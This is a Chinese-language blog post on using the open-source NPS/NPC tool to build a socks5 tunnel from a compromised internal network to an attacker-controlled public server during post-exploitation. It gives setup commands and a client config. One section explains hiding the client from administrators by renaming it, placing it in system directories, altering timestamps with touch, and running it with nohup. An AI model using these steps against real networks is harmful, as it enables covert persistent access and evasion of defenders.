• Home
  • About
    • Aquilao'Blog photo

      Aquilao'Blog

      现在开始去做说不定还来得及

    • Learn More
    • Email
    • Instagram
    • Github
  • Posts
    • All Posts
    • All Tags
  • Projects

使用 NPS 搭建内网隧道

20 Dec 2020

0x00 介绍

官方介绍

nps是一款轻量级、高性能、功能强大的内网穿透代理服务器。目前支持tcp、udp流量转发,可支持任何tcp、udp上层协议(访问内网网站、本地支付接口调试、ssh访问、远程桌面,内网dns解析等等……),此外还支持内网http代理、内网socks5代理、p2p等,并带有功能强大的web管理端。

在打点成功进入目标内网后需要搭建隧道,以进一步对内网进行渗透,尝试了 NPS, 发现确实挺好用的,简单介绍一下

文档

releases

0x01 快速开始

NPS 服务端需要搭建在公网的服务器上,然后在 NPS web 管理界面进行简单配置,最后在内网运行 NPC(客户端)即可使用。

0x02 NPS (服务端)搭建

NPS 是开源的,可以直接在 GitHub 上找到作者编译好的各版本 releases

下载与自己公网服务器对应版本的服务端(服务端是 NPS,客户端是 NPC),我服务器对应的版本是linux_amd64_server.tar.gz,接下来用它为例

先解压

tar -xzvf linux_amd64_server.tar.gz

得到的文件中有个名为nps的文件,运行即可

sudo ./nps install

安装后配置文件会在/etc/nps/conf/nps.conf可以在其中修改账号密码等配置,更新配置后sudo nps reload或sudo nps restart即可加载

0x03 NPS (服务端) web 管理界面配置

首先得配置好客户端

image-20201219203537470

配置好之后会给出客户端命令

image-20201219200333492

0x04 NPC (客户端)运行

和服务端一样,在releases处下载对应版本的 NPC,然后在内网机器里运行之前服务端给出的客户端命令即可,会输出提示连接到了服务端

image-20201219201859042

而服务端也能看到客户端在线的信息

image-20201219202126416

回到服务端新增一个 socks 代理,填上对应的客户端 ID,选一个服务端端口

image-20201219202302361

0x05 使用代理

可以直接浏览器配置代理连接到内网

image-20201219203656701

然后可以访问内网服务(涉及隐私就不截图了),NPS 控制台上能看到实时网速和总共流量

image-20201219203345952

也可以配置proxychains来代理终端的命令

image-20201219204153416

image-20201219204442684

当然Proxifier、shadowsocks等其他代理工具也行,在此不一一列举

0x06 隐藏 NPC

虽然 NPS 确实好用,但是只要服务器的管理人员查看进程就能很轻松的发现,甚至还能找到服务端的 IP,断掉隧道已经够让人难受的了,除此之外服务器 IP 被提交威胁情报、甚至是反打一波都是有可能的

image-20201219205045004

得尝试尽可能的把 NPS 隐藏起来才行

首先把 NPS 的服务端作为参数就太明显了,NPC 提供了配置文件运行的方式

可以参考文档和官方示例配置文件,因为只使用了 socks5,所以只保留了全局和 socks5 的部分

[common]
server_addr=127.0.0.1:8024										# 修改成 NPS 的 IP
vkey=123													   # 修改成对应隧道的 vkey

[socks5]
mode=socks5
server_port=19009												# 修改成对应隧道的端口
multi_account=multi_account.conf

修改好之后直接运行 NPC + 配置文件路径即可运行,可以忽略掉-config参数

./npc conf/npc.conf

接下来可以把 NPC 和其配置文件重命名后移动到一些比较难发现的文件夹内,比如/sbin、/usr/sbin,藏木于林,用touch修改文件时间等各种文件隐藏手段

nohup运行

nohup ./npc conf/npc.conf >/dev/null 2>&1 &

如果还担心被发现,那接下来就得开始各种进程隐藏了,限于本文主题,就不提了。

0x07 总结

本文只讨论了 NPS 在后渗透中作为隧道来打通目标内网的使用场景,并简单介绍了 NPS,当然还有更多的功能和使用场景,具体可以阅读文档并结合自身需求。此外等我遇到新的使用场景也会继续更新这篇文章的。



RedTeam隧道 Share Tweet +1